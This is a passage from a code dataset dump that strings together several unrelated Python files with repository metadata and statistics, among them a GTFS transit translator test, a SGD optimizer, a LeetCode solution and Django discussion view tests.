] | 18 | 2019-06-19T17:46:21.000Z | 2022-03-25T20:28:34.000Z | test/test_la_metro.py | Intersection/gtfs-realtime-translators | 67919600a3511a5424a620be893982b968c782f7 | [
"Apache-2.0"
] | null | null | null | import pytest
import pendulum
from gtfs_realtime_translators.translators import LaMetroGtfsRealtimeTranslator
from gtfs_realtime_translators.factories import FeedMessage
@pytest.fixture
def la_metro_rail():
with open('test/fixtures/la_metro_rail.json') as f:
raw = f.read()
return raw
def test_la_data(la_metro_rail):
translator = LaMetroGtfsRealtimeTranslator(stop_id='80122')
with pendulum.test(pendulum.datetime(2019,2,20,17,0,0)):
message = translator(la_metro_rail)
entity = message.entity[0]
trip_update = entity.trip_update
stop_time_update = trip_update.stop_time_update[0]
assert message.header.gtfs_realtime_version == FeedMessage.VERSION
assert entity.id == '1'
assert trip_update.trip.trip_id == '1234'
assert trip_update.trip.route_id == '801'
assert stop_time_update.arrival.time == 1550682480
assert stop_time_update.departure.time == 1550682480
assert stop_time_update.stop_id == '80122'
def test_la_data_with_floats(la_metro_rail):
translator = LaMetroGtfsRealtimeTranslator(stop_id='80122')
with pendulum.test(pendulum.datetime(2019,2,20,17,0,0)):
message = translator(la_metro_rail)
entity = message.entity[1]
trip_update = entity.trip_update
stop_time_update = trip_update.stop_time_update[0]
assert message.header.gtfs_realtime_version == FeedMessage.VERSION
assert entity.id == '2'
assert trip_update.trip.trip_id == '1235'
assert trip_update.trip.route_id == '801'
assert stop_time_update.arrival.time == 1550683200
assert stop_time_update.departure.time == 1550683200
assert stop_time_update.stop_id == '80122'
def test_la_trip_id_parsing():
assert LaMetroGtfsRealtimeTranslator.calculate_trip_id('48109430_20190404') == '48109430'
assert LaMetroGtfsRealtimeTranslator.calculate_trip_id('48109430_Mo') == '48109430'
assert LaMetroGtfsRealtimeTranslator.calculate_trip_id('48109430') == '48109430'
assert LaMetroGtfsRealtimeTranslator.calculate_trip_id('') == ''
assert LaMetroGtfsRealtimeTranslator.calculate_trip_id(1) == 1
| 33.078125 | 93 | 0.759565 | 268 | 2,117 | 5.701493 | 0.220149 | 0.065445 | 0.091623 | 0.078534 | 0.804974 | 0.772251 | 0.592932 | 0.506545 | 0.506545 | 0.506545 | 0 | 0.088447 | 0.145489 | 2,117 | 63 | 94 | 33.603175 | 0.756219 | 0 | 0 | 0.372093 | 0 | 0 | 0.060463 | 0.015116 | 0 | 0 | 0 | 0 | 0.44186 | 1 | 0.093023 | false | 0 | 0.093023 | 0 | 0.209302 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 3 |
c8edd997be5c4d14287781b992894e36a56eab20 | 398 | py | Python | acmicpc/10170.py | juseongkr/BOJ | 8f10a2bf9a7d695455493fbe7423347a8b648416 | [
"Apache-2.0"
] | 7 | 2020-02-03T10:00:19.000Z | 2021-11-16T11:03:57.000Z | acmicpc/10170.py | juseongkr/Algorithm-training | 8f10a2bf9a7d695455493fbe7423347a8b648416 | [
"Apache-2.0"
] | 1 | 2021-01-03T06:58:24.000Z | 2021-01-03T06:58:24.000Z | acmicpc/10170.py | juseongkr/Algorithm-training | 8f10a2bf9a7d695455493fbe7423347a8b648416 | [
"Apache-2.0"
] | 1 | 2020-01-22T14:34:03.000Z | 2020-01-22T14:34:03.000Z | print("NFC West W L T")
print("-----------------------")
print("Seattle 13 3 0")
print("San Francisco 12 4 0")
print("Arizona 10 6 0")
print("St. Louis 7 9 0\n")
print("NFC North W L T")
print("-----------------------")
print("Green Bay 8 7 1")
print("Chicago 8 8 0")
print("Detroit 7 9 0")
print("Minnesota 5 10 1")
| 30.615385 | 34 | 0.437186 | 58 | 398 | 3 | 0.534483 | 0.172414 | 0.034483 | 0.091954 | 0.149425 | 0 | 0 | 0 | 0 | 0 | 0 | 0.103704 | 0.321608 | 398 | 12 | 35 | 33.166667 | 0.540741 | 0 | 0 | 0.166667 | 0 | 0 | 0.698492 | 0.115578 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 1 | 0 | 3 |
c8ff713634d65e2f9ba9702e87e0557c8aec05a2 | 1,755 | py | Python | src/elastic_surv/models/params.py | bcebere/elastic-surv | dc2bbdb1677e9a7d6c0ab10b8dd49c35adfb7995 | [
"BSD-3-Clause"
] | 4 | 2021-12-15T14:01:56.000Z | 2021-12-18T12:17:01.000Z | src/elastic_surv/models/params.py | bcebere/elastic-surv | dc2bbdb1677e9a7d6c0ab10b8dd49c35adfb7995 | [
"BSD-3-Clause"
] | null | null | null | src/elastic_surv/models/params.py | bcebere/elastic-surv | dc2bbdb1677e9a7d6c0ab10b8dd49c35adfb7995 | [
"BSD-3-Clause"
] | null | null | null | # stdlib
from abc import ABCMeta, abstractmethod
from typing import Any, List, Tuple
# third party
import numpy as np
class Params(metaclass=ABCMeta):
def __init__(self, name: str, bounds: Tuple[Any, Any]) -> None:
self.name = name
self.bounds = bounds
@abstractmethod
def get(self) -> List[Any]:
...
@abstractmethod
def sample(self) -> Any:
...
class Categorical(Params):
def __init__(self, name: str, choices: List[Any]) -> None:
super().__init__(name, (min(choices), max(choices)))
self.name = name
self.choices = choices
def get(self) -> List[Any]:
return [self.name, self.choices]
def sample(self) -> Any:
return np.random.choice(self.choices, 1)[0]
class Float(Params):
def __init__(self, name: str, low: float, high: float) -> None:
low = float(low)
high = float(high)
super().__init__(name, (low, high))
self.name = name
self.low = low
self.high = high
def get(self) -> List[Any]:
return [self.name, self.low, self.high]
def sample(self) -> Any:
return np.random.uniform(self.low, self.high)
class Integer(Params):
def __init__(self, name: str, low: int, high: int, step: int = 1) -> None:
self.low = low
self.high = high
self.step = step
super().__init__(name, (low, high))
self.name = name
self.low = low
self.high = high
self.step = step
self.choices = [val for val in range(low, high + 1, step)]
def get(self) -> List[Any]:
return [self.name, self.low, self.high, self.step]
def sample(self) -> Any:
return np.random.choice(self.choices, 1)[0]
| 24.71831 | 78 | 0.582336 | 232 | 1,755 | 4.284483 | 0.206897 | 0.088531 | 0.066398 | 0.060362 | 0.525151 | 0.48994 | 0.465795 | 0.381288 | 0.381288 | 0.299799 | 0 | 0.004754 | 0.280912 | 1,755 | 70 | 79 | 25.071429 | 0.782884 | 0.010256 | 0 | 0.571429 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.244898 | false | 0 | 0.061224 | 0.122449 | 0.510204 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 1 | 1 | 0 | 0 | 3 |
cdc3b74366d9d913021e9c31a7d0021709ec9edf | 1,268 | py | Python | Pytorch/Scratch Model Intro/optimizer/sgd.py | Kuga23/Deep-Learning | 86980338208c702b6bfcbcfffdb18498e389a56b | [
"MIT"
] | null | null | null | Pytorch/Scratch Model Intro/optimizer/sgd.py | Kuga23/Deep-Learning | 86980338208c702b6bfcbcfffdb18498e389a56b | [
"MIT"
] | null | null | null | Pytorch/Scratch Model Intro/optimizer/sgd.py | Kuga23/Deep-Learning | 86980338208c702b6bfcbcfffdb18498e389a56b | [
"MIT"
] | null | null | null | from ._base_optimizer import _BaseOptimizer
import numpy as np
class SGD(_BaseOptimizer):
def __init__(self, learning_rate=1e-4, reg=1e-3):
super().__init__(learning_rate, reg)
def update(self, model):
'''
Update model weights based on gradients
:param model: The model to be updated
:param gradient: The Gradient computed in forward step
:return: None, but the model weights should be updated
'''
self.apply_regularization(model)
#############################################################################
# TODO: #
# 1) Update model weights based on the learning rate and gradients #
#############################################################################
#upadta of weights depending on learning rate
for wi in model.weights:
model.weights[wi]-=self.learning_rate*model.gradients[wi]
#############################################################################
# END OF YOUR CODE #
#############################################################################
| 48.769231 | 85 | 0.405363 | 102 | 1,268 | 4.882353 | 0.519608 | 0.120482 | 0.064257 | 0.092369 | 0.100402 | 0 | 0 | 0 | 0 | 0 | 0 | 0.005669 | 0.304416 | 1,268 | 25 | 86 | 50.72 | 0.558957 | 0.337539 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.04 | 0 | 1 | 0.222222 | false | 0 | 0.222222 | 0 | 0.555556 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 1 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 3 |
cdd5bfd847e66228a3086f955001142770b89869 | 21 | py | Python | Trespassor/JogCommand/__init__.py | adrien-bellaiche/Interceptor | ff6c9674141082b55a711df67a625759304a9b1b | [
"Apache-2.0"
] | null | null | null | Trespassor/JogCommand/__init__.py | adrien-bellaiche/Interceptor | ff6c9674141082b55a711df67a625759304a9b1b | [
"Apache-2.0"
] | null | null | null | Trespassor/JogCommand/__init__.py | adrien-bellaiche/Interceptor | ff6c9674141082b55a711df67a625759304a9b1b | [
"Apache-2.0"
] | null | null | null | __author__ = 'Fenix'
| 10.5 | 20 | 0.714286 | 2 | 21 | 5.5 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.142857 | 21 | 1 | 21 | 21 | 0.611111 | 0 | 0 | 0 | 0 | 0 | 0.238095 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0 | 0 | 0 | 0 | 1 | 1 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 3 |
cde4b21a9fd58d19ac6d38f5371cf2a23200a4b8 | 166 | py | Python | setup.py | AbdullahMoustafa/DistributionsPythonPackage | e57f13f7e133dceb5ba45397495d31ef49e96326 | [
"RSA-MD"
] | null | null | null | setup.py | AbdullahMoustafa/DistributionsPythonPackage | e57f13f7e133dceb5ba45397495d31ef49e96326 | [
"RSA-MD"
] | null | null | null | setup.py | AbdullahMoustafa/DistributionsPythonPackage | e57f13f7e133dceb5ba45397495d31ef49e96326 | [
"RSA-MD"
] | null | null | null | from setuptools import setup
setup(name='distributions',
version='5.2',
description = 'Gaussian distribution',
packages= ['distributions'],
zip_safe=False) | 23.714286 | 40 | 0.728916 | 18 | 166 | 6.666667 | 0.888889 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.013986 | 0.138554 | 166 | 7 | 41 | 23.714286 | 0.825175 | 0 | 0 | 0 | 0 | 0 | 0.310559 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 0.166667 | 0 | 0.166667 | 0 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 3 |
a801ccef1ec0deeb155fc7a745d51304d1a0ba68 | 263 | py | Python | tests/test_imports.py | nayaverdier/pbatch | add321d0ed127c039a475da66ca72d94db85dac1 | [
"MIT"
] | 4 | 2020-09-21T15:18:28.000Z | 2021-03-09T19:24:24.000Z | tests/test_imports.py | nayaverdier/pbatch | add321d0ed127c039a475da66ca72d94db85dac1 | [
"MIT"
] | null | null | null | tests/test_imports.py | nayaverdier/pbatch | add321d0ed127c039a475da66ca72d94db85dac1 | [
"MIT"
] | null | null | null | def test_module_import():
import pbatch
pbatch.partition
pbatch.pmap
pbatch.postpone
pbatch.PMapException
pbatch.VERSION
def test_function_import():
from pbatch import VERSION, PMapException, partition, pmap, postpone # noqa: F401
| 20.230769 | 86 | 0.730038 | 30 | 263 | 6.266667 | 0.466667 | 0.074468 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.014354 | 0.205323 | 263 | 12 | 87 | 21.916667 | 0.885167 | 0.038023 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.222222 | true | 0 | 0.444444 | 0 | 0.666667 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 1 | 0 | 1 | 0 | 0 | 0 | 0 | 3 |
a809dc1c56782b00658617c098d6981ae9183d37 | 177 | py | Python | Ranking/migrations/0001_initial.py | stone-py/ranking_demo | f93754bd46fddc73d13beffe32f2dd2bf0d86a90 | [
"MIT"
] | null | null | null | Ranking/migrations/0001_initial.py | stone-py/ranking_demo | f93754bd46fddc73d13beffe32f2dd2bf0d86a90 | [
"MIT"
] | null | null | null | Ranking/migrations/0001_initial.py | stone-py/ranking_demo | f93754bd46fddc73d13beffe32f2dd2bf0d86a90 | [
"MIT"
] | null | null | null | # Generated by Django 2.0.1 on 2020-05-12 07:49
from django.db import migrations
class Migration(migrations.Migration):
dependencies = [
]
operations = [
]
| 13.615385 | 47 | 0.661017 | 23 | 177 | 5.086957 | 0.869565 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.11194 | 0.242938 | 177 | 12 | 48 | 14.75 | 0.761194 | 0.254237 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.166667 | 0 | 0.666667 | 0 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 3 |
a81a49bdfa11bb3bc7157c9a9484c90aaed8c928 | 262 | py | Python | Python3/1529-Bulb-Switcher-IV/soln.py | wyaadarsh/LeetCode-Solutions | 3719f5cb059eefd66b83eb8ae990652f4b7fd124 | [
"MIT"
] | 5 | 2020-07-24T17:48:59.000Z | 2020-12-21T05:56:00.000Z | Python3/1529-Bulb-Switcher-IV/soln.py | zhangyaqi1989/LeetCode-Solutions | 2655a1ffc8678ad1de6c24295071308a18c5dc6e | [
"MIT"
] | null | null | null | Python3/1529-Bulb-Switcher-IV/soln.py | zhangyaqi1989/LeetCode-Solutions | 2655a1ffc8678ad1de6c24295071308a18c5dc6e | [
"MIT"
] | 2 | 2020-07-24T17:49:01.000Z | 2020-08-31T19:57:35.000Z | class Solution:
def minFlips(self, target: str) -> int:
nflips = 0
for ison in map(lambda x : x == '1', target):
if ((not ison) and nflips % 2 == 1) or (ison and nflips % 2 == 0):
nflips += 1
return nflips
| 32.75 | 78 | 0.496183 | 36 | 262 | 3.611111 | 0.638889 | 0.107692 | 0.2 | 0.215385 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.042945 | 0.377863 | 262 | 7 | 79 | 37.428571 | 0.754601 | 0 | 0 | 0 | 0 | 0 | 0.003817 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.142857 | false | 0 | 0 | 0 | 0.428571 | 0 | 0 | 0 | 0 | null | 0 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 3 |
a826ea95e60fe19b1beef697d25fd2a671e52e3d | 2,210 | py | Python | bnpy/data/DataObj.py | co2meal/-bnpy-dev | 74f69afde6c9dac8de4c074842df53ae87a15ac1 | [
"BSD-3-Clause"
] | null | null | null | bnpy/data/DataObj.py | co2meal/-bnpy-dev | 74f69afde6c9dac8de4c074842df53ae87a15ac1 | [
"BSD-3-Clause"
] | null | null | null | bnpy/data/DataObj.py | co2meal/-bnpy-dev | 74f69afde6c9dac8de4c074842df53ae87a15ac1 | [
"BSD-3-Clause"
] | null | null | null | from DataIterator import DataIterator
class DataObj(object):
''' Abstract base class for all bnpy data objects.
Defines all required functions that base classes must inherit.
'''
@classmethod
def read_from_mat(self, matfilepath):
''' Constructor for building data object from disk.
'''
pass
def __init__(self, *args, **kwargs):
''' Constructor for building data object in memory.
'''
pass
def to_iterator(self, **kwargs):
''' Create iterator for processing subsets of this dataset.
Returns
------
DI : bnpy.data.DataIterator.
'''
return DataIterator(self, **kwargs)
def get_short_name(self):
''' Returns human-readable name viable for system file paths.
Useful for creating filepaths specific for this data object.
Returns
-------
name : string
'''
if hasattr(self, 'name'):
return self.name
return "UnknownData"
def get_text_summary(self, **kwargs):
''' Returns human-readable description of this dataset.
Summary might describe source of this dataset, author, etc.
Returns
-------
summary : string
'''
s = 'DataType: %s. Size: %d' % (
self.__class__.__name__, self.get_size())
return s
def get_size(self, **kwargs):
''' Get count of active, in-memory units for this dataset.
Returns
-------
size : int
'''
pass
def get_total_size(self, **kwargs):
''' Get count of all units associated with this dataset.
Returns
-------
size : int
'''
pass
def select_subset_by_mask(self, unitIDs, **kwargs):
''' Get subset of this dataset identified by provided unit IDs.
Returns
-------
Dchunk : bnpy.data.DataObj subclass
'''
pass
def add_data(self, DataObj):
''' Appends (in-place) provided dataset to this dataset.
Post Condition
-------
self.Data grows by adding all units from provided DataObj.
'''
pass
| 24.021739 | 71 | 0.559276 | 236 | 2,210 | 5.122881 | 0.423729 | 0.063689 | 0.043011 | 0.043011 | 0.145575 | 0.092639 | 0.052936 | 0 | 0 | 0 | 0 | 0 | 0.337557 | 2,210 | 91 | 72 | 24.285714 | 0.82582 | 0.468778 | 0 | 0.24 | 0 | 0 | 0.043174 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.36 | false | 0.24 | 0.04 | 0 | 0.6 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 1 | 0 | 0 | 3 |
a8320ccc3b73cc31a9056d532fb282c4ee1ebc3f | 13,123 | py | Python | src/discussion/tests/test_views.py | ResearchHub/ResearchHub-Backend-Open | d36dca33afae2d442690694bb2ab17180d84bcd3 | [
"MIT"
] | 18 | 2021-05-20T13:20:16.000Z | 2022-02-11T02:40:18.000Z | src/discussion/tests/test_views.py | ResearchHub/ResearchHub-Backend-Open | d36dca33afae2d442690694bb2ab17180d84bcd3 | [
"MIT"
] | 109 | 2021-05-21T20:14:23.000Z | 2022-03-31T20:56:10.000Z | src/discussion/tests/test_views.py | ResearchHub/ResearchHub-Backend-Open | d36dca33afae2d442690694bb2ab17180d84bcd3 | [
"MIT"
] | 4 | 2021-05-17T13:47:53.000Z | 2022-02-12T10:48:21.000Z | from django.test import TestCase
from rest_framework.test import APIRequestFactory
from discussion.tests.helpers import (
build_discussion_detail_url,
create_comment,
create_endorsement,
create_flag,
create_paper,
create_reply,
create_thread,
upvote_discussion,
downvote_discussion
)
from discussion.views import get_thread_id_from_path
from user.models import Author
from user.tests.helpers import create_random_authenticated_user
from utils.test_helpers import (
get_authenticated_delete_response,
get_authenticated_patch_response,
get_authenticated_put_response
)
from unittest import skip
class DiscussionViewsTests(TestCase):
def setUp(self):
self.base_url = '/api/'
self.user = create_random_authenticated_user('discussion_views')
self.paper = create_paper(uploaded_by=self.user)
self.thread = create_thread(paper=self.paper, created_by=self.user)
self.comment = create_comment(thread=self.thread, created_by=self.user)
self.reply = create_reply(parent=self.comment, created_by=self.user)
self.trouble_maker = create_random_authenticated_user('trouble_maker')
self.author = create_random_authenticated_user('author')
self.paper.authors.add(Author.objects.get(user=self.author))
self.paper.save()
def test_get_thread_id_from_path(self):
factory = APIRequestFactory()
request = factory.get('/api/paper/1/discussion/1/comments')
thread_id = get_thread_id_from_path(request)
request = factory.get('/api/paper/1/discussion/2/comments')
thread_id_2 = get_thread_id_from_path(request)
request = factory.get('/api/paper/43291/discussion/300/comments')
thread_id_3 = get_thread_id_from_path(request)
request = factory.get('/api/paper/0/discussion/004/comments')
thread_id_4 = get_thread_id_from_path(request)
self.assertEqual(thread_id, 1)
self.assertEqual(thread_id_2, 2)
self.assertEqual(thread_id_3, 300)
self.assertEqual(thread_id_4, 4)
@skip
def test_thread_creator_can_update_thread(self):
text = 'update thread with patch'
patch_response = self.get_thread_patch_response(self.user, text)
self.assertContains(patch_response, text, status_code=200)
text = 'update thread with put'
put_response = self.get_thread_put_response(self.user, text)
self.assertContains(put_response, text, status_code=200)
@skip
def test_ONLY_thread_creator_can_update_thread(self):
text = 'virus'
patch_response = self.get_thread_patch_response(
self.trouble_maker,
text
)
put_response = self.get_thread_put_response(self.trouble_maker, text)
self.assertEqual(patch_response.status_code, 403)
self.assertEqual(put_response.status_code, 403)
def test_comment_creator_can_update_comment(self):
text = 'update comment with patch'
patch_response = self.get_comment_patch_response(self.user, text)
self.assertContains(patch_response, text, status_code=200)
text = 'update comment with put'
put_response = self.get_comment_put_response(self.user, text)
self.assertContains(put_response, text, status_code=200)
def test_ONLY_comment_creator_can_update_comment(self):
text = 'virus'
patch_response = self.get_comment_patch_response(
self.trouble_maker,
text
)
put_response = self.get_comment_put_response(self.trouble_maker, text)
self.assertEqual(patch_response.status_code, 403)
self.assertEqual(put_response.status_code, 403)
def test_reply_creator_can_update_reply(self):
text = 'update reply with patch'
patch_response = self.get_reply_patch_response(self.user, text)
self.assertContains(patch_response, text, status_code=200)
text = 'update reply with put'
put_response = self.get_reply_put_response(self.user, text)
self.assertContains(put_response, text, status_code=200)
def test_ONLY_reply_creator_can_update_reply(self):
text = 'virus'
patch_response = self.get_reply_patch_response(
self.trouble_maker,
text
)
put_response = self.get_reply_put_response(self.trouble_maker, text)
self.assertEqual(patch_response.status_code, 403)
self.assertEqual(put_response.status_code, 403)
@skip
def test_flag_creator_can_delete_flag(self):
user = create_random_authenticated_user('flagger')
thread_flag = create_flag(created_by=user, item=self.thread)
thread_response = self.get_thread_flag_delete_response(user)
self.assertContains(
thread_response,
thread_flag.reason,
status_code=200
)
comment_flag = create_flag(created_by=user, item=self.comment)
comment_response = self.get_comment_flag_delete_response(user)
self.assertContains(
comment_response,
comment_flag.reason,
status_code=200
)
reply_flag = create_flag(created_by=user, item=self.reply)
reply_response = self.get_reply_flag_delete_response(user)
self.assertContains(reply_response, reply_flag.reason, status_code=200)
@skip
def test_ONLY_flag_creator_can_delete_flag(self):
user = create_random_authenticated_user('flagger1')
create_flag(created_by=user, item=self.thread)
response = self.get_thread_flag_delete_response(self.trouble_maker)
self.assertEqual(response.status_code, 400)
create_flag(created_by=user, item=self.comment)
response = self.get_comment_flag_delete_response(self.trouble_maker)
self.assertEqual(response.status_code, 400)
create_flag(created_by=user, item=self.reply)
response = self.get_reply_flag_delete_response(self.trouble_maker)
self.assertEqual(response.status_code, 400)
@skip
def test_endorsement_creator_can_delete_endorsement(self):
user = self.author
thread_endorsement = create_endorsement(
created_by=user,
item=self.thread
)
thread_response = self.get_thread_endorsement_delete_response(user)
self.assertContains(
thread_response,
thread_endorsement.id,
status_code=200
)
comment_endorsement = create_endorsement(
created_by=user,
item=self.comment
)
comment_response = self.get_comment_endorsement_delete_response(user)
self.assertContains(
comment_response,
comment_endorsement.id,
status_code=200
)
reply_endorsement = create_endorsement(
created_by=user,
item=self.reply
)
reply_response = self.get_reply_endorsement_delete_response(user)
self.assertContains(
reply_response,
reply_endorsement.id,
status_code=200
)
@skip
def test_ONLY_endorsement_creator_can_delete_endorsement(self):
user = create_random_authenticated_user('endorser1')
self.paper.authors.add(Author.objects.get(user=user))
create_endorsement(
created_by=self.author,
item=self.thread
)
thread_response = self.get_thread_endorsement_delete_response(
user
)
self.assertEqual(
thread_response.status_code,
400
)
create_endorsement(
created_by=self.author,
item=self.comment
)
comment_response = self.get_comment_endorsement_delete_response(
user
)
self.assertEqual(
comment_response.status_code,
400
)
create_endorsement(
created_by=self.author,
item=self.reply
)
reply_response = self.get_reply_endorsement_delete_response(
user
)
self.assertEqual(
reply_response.status_code,
400
)
def test_can_delete_upvote(self):
comment_vote = upvote_discussion(self.comment, self.user)
response = self.get_comment_vote_delete_response(self.user)
self.assertContains(response, comment_vote.id, status_code=200)
def test_can_delete_downvote(self):
comment_vote = downvote_discussion(self.comment, self.user)
response = self.get_comment_vote_delete_response(self.user)
self.assertContains(response, comment_vote.id, status_code=200)
def get_thread_patch_response(self, user, text):
url, data = self.get_request_config('thread', text)
response = get_authenticated_patch_response(
user,
url,
data,
content_type='application/json'
)
return response
def get_thread_put_response(self, user, text):
url = build_discussion_detail_url(self, 'thread')
data = {
'title': text,
'text': text
}
response = get_authenticated_put_response(
user,
url,
data,
content_type='application/json'
)
return response
def get_comment_patch_response(self, user, text):
url, data = self.get_request_config('comment', text)
response = get_authenticated_patch_response(
user,
url,
data,
content_type='application/json'
)
return response
def get_comment_put_response(self, user, text):
url, data = self.get_request_config('comment', text)
response = get_authenticated_put_response(
user,
url,
data,
content_type='application/json'
)
return response
def get_reply_patch_response(self, user, text):
url, data = self.get_request_config('reply', text)
response = get_authenticated_patch_response(
user,
url,
data,
content_type='application/json'
)
return response
def get_reply_put_response(self, user, text):
url = build_discussion_detail_url(self, 'reply')
data = {
'parent': self.comment.id,
'text': text
}
response = get_authenticated_put_response(
user,
url,
data,
content_type='application/json'
)
return response
def get_request_config(self, discussion_type, text):
url = build_discussion_detail_url(self, discussion_type)
data = {'text': text}
return url, data
def get_thread_endorsement_delete_response(self, user):
url = build_discussion_detail_url(self, 'thread')
response = self.get_endorsement_delete_response(user, url)
return response
def get_comment_endorsement_delete_response(self, user):
url = build_discussion_detail_url(self, 'comment')
response = self.get_endorsement_delete_response(user, url)
return response
def get_reply_endorsement_delete_response(self, user):
url = build_discussion_detail_url(self, 'reply')
response = self.get_endorsement_delete_response(user, url)
return response
def get_endorsement_delete_response(self, user, url):
url += 'endorse/'
data = None
response = get_authenticated_delete_response(
user,
url,
data,
content_type='application/json'
)
return response
def get_thread_flag_delete_response(self, user):
url = build_discussion_detail_url(self, 'thread')
response = self.get_flag_delete_response(user, url)
return response
def get_comment_flag_delete_response(self, user):
url = build_discussion_detail_url(self, 'comment')
response = self.get_flag_delete_response(user, url)
return response
def get_reply_flag_delete_response(self, user):
url = build_discussion_detail_url(self, 'reply')
response = self.get_flag_delete_response(user, url)
return response
def get_flag_delete_response(self, user, url):
url += 'flag/'
data = None
response = get_authenticated_delete_response(
user,
url,
data,
content_type='application/json'
)
return response
def get_comment_vote_delete_response(self, user):
url = build_discussion_detail_url(self, 'comment')
response = self.get_vote_delete_response(user, url)
return response
def get_vote_delete_response(self, user, url):
url += 'user_vote/'
data = None
response = get_authenticated_delete_response(
user,
url,
data,
content_type='application/json'
)
return response
| 32.8075 | 79 | 0.656938 | 1,496 | 13,123 | 5.414439 | 0.06484 | 0.097778 | 0.061111 | 0.037037 | 0.825556 | 0.788642 | 0.754568 | 0.692469 | 0.578765 | 0.575802 | 0 | 0.011229 | 0.267088 | 13,123 | 399 | 80 | 32.889724 | 0.830942 | 0 | 0 | 0.472892 | 0 | 0 | 0.048007 | 0.010973 | 0 | 0 | 0 | 0 | 0.090361 | 1 | 0.093373 | false | 0 | 0.024096 | 0 | 0.171687 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 3 |
b5257bf2075ef03aedbf93223ad81bbc69d2d540 | 553 | py | Python | projects/views.py | asis2016/any-company-rest-api | a8f82325b1f1e5b45a14c9ce8500dcd59fdc2ae2 | [
"MIT"
] | null | null | null | projects/views.py | asis2016/any-company-rest-api | a8f82325b1f1e5b45a14c9ce8500dcd59fdc2ae2 | [
"MIT"
] | null | null | null | projects/views.py | asis2016/any-company-rest-api | a8f82325b1f1e5b45a14c9ce8500dcd59fdc2ae2 | [
"MIT"
] | null | null | null | from rest_framework import viewsets
from .models import Project
from .serializers import ProjectSerializer
class ProjectViewset(viewsets.ModelViewSet):
queryset = Project.objects.all()
serializer_class = ProjectSerializer
# class ProjectList(generics.ListAPIView):
# """ Project list API. """
# queryset = Project.objects.all()
# serializer_class = ProjectSerializer
# class ProjectDetail(generics.RetrieveAPIView):
# """ Project retrive API. """
# queryset = Project.objects.all()
# serializer_class = ProjectSerializer
